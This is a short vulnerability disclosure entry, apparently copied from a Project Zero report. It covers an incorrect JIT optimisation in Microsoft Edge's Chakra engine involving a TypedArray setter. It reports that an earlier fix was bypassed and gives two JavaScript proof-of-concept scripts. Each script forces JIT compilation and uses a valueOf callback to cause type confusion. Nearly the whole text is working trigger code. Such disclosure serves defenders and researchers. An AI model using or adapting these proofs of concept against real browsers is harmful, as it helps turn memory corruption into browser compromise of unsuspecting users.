Microsoft Edge Chakra – Incorrect JIT Optimization with TypedArray Setter #2
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1290 I think the fix for #1045 is incorrect. Here's the original PoC. 'use strict'; function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; } function main() { var a = [1.1, 2.2]; var b = new Uint32Array(100); // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i); func(a, b, {valueOf: () => { a[0] = {}; return 0; }}); a[0].toString(); } main(); I just changed "var b = new Uint32Array(100);" to "var b = new Uint32Array(0);", and it worked well. PoC: --> 'use strict'; function func(a, b, c) { a[0] = 1.2; b[0] = c; a[1] = 2.2; a[0] = 2.3023e-320; } function main() { var a = [1.1, 2.2]; var b = new Uint32Array(0); // <<--------- 100 -> 0 // force to optimize for (var i = 0; i < 0x10000; i++) func(a, b, i); func(a, b, {valueOf: () => { a[0] = {}; return 0; }}); a[0].toString(); } main(); |